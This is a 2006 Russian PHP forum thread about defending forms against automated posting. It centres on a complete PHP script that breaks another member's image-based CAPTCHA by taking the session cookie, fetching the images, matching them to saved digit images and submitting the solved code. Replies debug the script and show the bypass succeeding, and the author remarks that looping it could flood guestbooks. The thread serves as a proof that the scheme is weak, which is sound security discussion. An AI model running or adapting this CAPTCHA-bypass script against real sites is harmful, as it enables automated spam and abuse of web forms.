Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Защита от автопостинга. (продолжение)
 
 автор: deman-b   (26.11.2006 в 19:54)   письмо автору
 
 

В теме http://softtime.ru/forum/read.php?id_forum=1&id_theme=28074&page=1
Гончий пёс предложил в качестве защиты от автопостинга скрипт на рисунках, без использования библиотеки GD...
ну вообщем я говорил что этот скрипт уязвим...
сейчас это докажу!
в 20 строчек конешно не уложился, но...

<?php
$hostname 
"192.168.1.1"#####################################################
$path "/hack/img/index.php"#################################################
$fp fsockopen($hostname80$errno$errstr30);
if (!
$fp) echo "$errstr ($errno)<br />\n";
else {
    
$headers "GET $path HTTP/1.1\r\n";
    
$headers .= "Host: $hostname\r\n";
    
$headers .= "Connection: Close\r\n\r\n";
    
fwrite($fp$headers);
    while (!
feof($fp)) {
        
$line fgets($fp1024);
        
preg_match("|Set-Cookie: PHPSESSID=([\d\w]+);|i",$line,$out);
        if(!empty(
$out[1])) {
            
$sid $out[1];
            break;
        }
    }
    
fclose($fp);
    
//$hostname = "192.168.1.1"; ###############################################
    
for ($x=1;$x<=4;$x++) {
        
$path "/hack/img/picture.php?p=".$x#################################
        
$fp fsockopen($hostname,80,$errno,$errstr,30);
        if(!
$fp) echo "$errstr ($errno)<br />\n";
        else {
            
$data "p=".urlencode($x)."\r\n\r\n";
            
$headers "POST $path HTTP/1.1\r\n";
            
$headers .= "Host: $hostname\r\n";
            
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
            
$headers .= "Content-Length: ".strlen($data)."\r\n";
            
$headers .= "Cookie: PHPSESSID=$sid;\r\n";
            
$headers .= "Connection: Close\r\n\r\n";
            
fwrite($fp$headers.$data);
            
$text "";
            while(
$text != "\r\n"$text fgets($fp,128);
            
$text "";
            while(!
feof($fp)) $text .= fgets($fp,262144);
            
fclose($fp);
            echo 
"<b><h2>Содержимое рисунка ".$x.":</h2></b>\n".$text."<br><br><br>";
        }
        
$current_imgs_content[$x] = $text;
    }
    @
mkdir("img"0777);
    
$dir dir("img");
    
$img_names "";
    while (
$file $dir->read()) {
        if(
is_file("img/".$file)) {
            
$w fopen("img/".$file,"rb");
            
$imgs_content[$file] = fread($w,262144);
        }
    }
    
$dir->close();
    
$final_key "";
    
$perc 0;
    for(
$g=1;$g<=4;$g++) {
        for(
$r=0;$r<count($imgs_content);$r++) {
            
$temp similar_text($current_imgs_content[$g],$imgs_content[$r.".gif"],&$perc);
            
$perc_arr[$r] = $perc;
        }
        
arsort($perc_arr);
        
$index each($perc_arr);
        
$final_key .= $index[0];
    }
    
//$hostname = "192.168.1.1"; ###############################################
    
$path "/hack/img/handler.php"###########################################
    
$line "";
    
$fp fsockopen($hostname80$errno$errstr30);
    if (!
$fp) echo "$errstr ($errno)<br />\n";
    else {
    
$data "secure=".urlencode($final_key);
    
$headers "POST $path HTTP/1.1\r\n";
    
$headers .= "Host: $hostname\r\n";
    
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    
$headers .= "Content-Length: ".strlen($data)."\r\n";
    
$headers .= "Cookie: PHPSESSID=$sid;\r\n";
    
$headers .= "Connection: Close\r\n\r\n";
    
fwrite($fp$headers.$data);
    while (!
feof($fp)) {
        
$line .= fgets($fp1024);
    }
    
fclose($fp);
  }
  echo 
"<br><br>".$line."<br><br>";
}
?>

всё что ему надо это сохранённые рисунки)) в каталоге img
в аттаче архив со всей этой фигнёй...
так что Гончий пёс твой скрипт только и орёт "Правильно!" )))
он написан для самой последней версии)) твоего скрипта...

....если кто уже пробовал прикрутить подобную защиту от автопостига - советую открутить))))
я всего лиш хотел доказать что ничего надёжней GD - НЕТ!
....а если весь этот скрипт поместить в цикл... то он может хорошенько нагадить например в гостевухе) (в которой используется такая защита)

   
 
 автор: Гончий пёс   (27.11.2006 в 15:35)   письмо автору
 
   для: deman-b   (26.11.2006 в 19:54)
 

А нижеследующее с чем связано?:)

Содержимое рисунка1:
cb GIF89a



Содержимое рисунка2:
8d GIF89a



Содержимое рисунка3:
8d GIF89a



Содержимое рисунка4:
ca GIF89a



Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57

Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57

   
 
 автор: deman-b   (27.11.2006 в 17:18)   письмо автору
 
   для: Гончий пёс   (27.11.2006 в 15:35)
 

это значит что у тебя в каталоге img лежат ещё каких то три файйла ...
там должны лежать только рисунки от 0 до 9
у меня всё норма работает)
вот пример:

Содержимое рисунка1:
ca GIF89aіoooЎЎЎOOO???їїїЯЯЯ___ппп///ПППЏЏЏяяя!щ,wрЙщЋжРMS €$\·„иRNШFРЂОъ|Ђ0`aㆉЎgг;rЕ€Гц Bj"z=ROў!д+YAЙ4еґе XзС“№’DШ(h%X oiF 3JT\W}TUЊY”љ; 0 



Содержимое рисунка2:
a2 GIF89aі???їїїпппПППЄЄЄ___///ЏЏЏoooOOOЯЯЯяяя!щ,OрЙI«•&иНѓ№ Ћ$0ЂeЄ\„аѕВ"W Q[О(м–Ђ€¬D ]q"4-'…‘тЙ?='Qбъ€Ь‡ВКm€>Ь„6< ?Ъоg; 0 



Содержимое рисунка3:
ca GIF89aіoooЎЎЎOOO???їїїЯЯЯ___ппп///ПППЏЏЏяяя!щ,wрЙщЋжРMS €$\·„иRNШFРЂОъ|Ђ0`aㆉЎgг;rЕ€Гц Bj"z=ROў!д+YAЙ4еґе XзС“№’DШ(h%X oiF 3JT\W}TUЊY”љ; 0 



Содержимое рисунка4:
b4 GIF89aі???OOOпппџџџїїїППП___sssЯЯЯЏЏЏ///ЇЇЇяяя!щ,aрЙI«­eF№!d  ””Ѓ°‘ H”Мґr Cбk\… FQђ)‹Ў”ґ vM ‚XD%SТ'JИb\Ўцzx¶M‚y}ми’¤Шп«УД'э,#}&W); 0 




HTTP/1.1 200 OK Date: Mon, 27 Nov 2006 14:13:18 GMT Server: Apache/2.0.47 (Win32) X-Powered-By: PHP/5.0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=nh7u3aleoe6qsh3vo656aa3if6; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=win-1251 151 

Правильно!

Полученые значения:8782
Настоящие значения:8782


я маленько модернизировал файл handler.php
дописав там такую строчку:

<?
print "<br>Полученые значения:".$_POST['secure']."<br>Настоящие значения:".$_SESSION['secure']."<br>";
?>

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования